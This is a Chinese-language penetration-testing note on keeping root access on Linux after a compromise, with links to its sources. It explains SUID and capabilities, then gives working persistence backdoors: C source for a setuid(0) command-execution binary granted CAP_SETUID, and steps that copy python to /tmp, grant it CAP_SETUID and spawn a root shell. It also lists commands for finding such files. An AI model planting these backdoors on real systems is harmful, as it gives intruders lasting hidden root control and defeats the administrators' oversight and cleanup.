技巧-root权限维持
root权限-维持技巧
参考链接:
https://github.com/422926799/note/blob/master/学习记录/Linux提权/使用功能的Linux特权升级.md
https://422926799.github.io/posts/9dcc308e.html setcap设置的文件可控造成的提权
https://www.freebuf.com/articles/system/244627.html
基础
SUID: SUID代表设置的用户ID,并允许用户以文件所有者的身份执行文件 # 简单理解,被SUID设置过的高权限文件。当低权用户执行时,可获得高权限
chmod u+s /usr/bin/python # 给予某个文件拥有临时权限
find / -perm -u=s -type f 2>/dev/null # 使用find命令找出SUID文件
Capabilities的主要思想在于分割root用户的特权,即将root的特权分割成不同的能力,每种能力代表一定的特权操作。例如:能力CAP_SYS_MODULE表示用户能够加载(或卸载)内核模块的特权操作,而CAP_SETUID表示用户能够修改进程用户身份的特权操作。在Capbilities中系统将根据进程拥有的能力来进行特权操作的访问控制
setcap CAP_SETUID+ep /tmp/python # setcap给予tmp目录下的python一个用户临时执行权限
getcap -r / 2>/dev/null # 检索setcap所设置的文件
方法一 使用自己编译的文件
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
/*
* Asroot - execute a command with root permissions.
* compile with 'cc -o asroot asroot.c'
* then 'chown root asroot; chmod u+s asroot'.
*
* This program is a convenience for single-user systems,
* BUT it is a MASSIVE security hole. Please use caution.
*/
extern char **environ;
void main(int argc, char **argv ) {
int retcode;
char string[260];
setuid( 0 );
if ( argc > 1 ) {
execvp( argv[1], &argv[1] );
fprintf( stderr,"%s: execution of '%s' failed: ", argv[0], argv[1] );
perror( "" );
exit( 1 );
}
}
赋予上面编译好的文件权限
gcc -o test test.c # 编译
setcap CAP_SETUID+ep ./file # setcap CAP_SETUID+ep /tmp/python setcap给予tmp目录下的python一个用户临时执行权限
用法: ./test whoami
方法二 使用系统自带的文件(perl, python, tar)
whereis python
cp /usr/bin/python /tmp/python
setcap CAP_SETUID+ep /tmp/python
./python -c 'import os;os.setuid(0);os.system("/bin/bash")'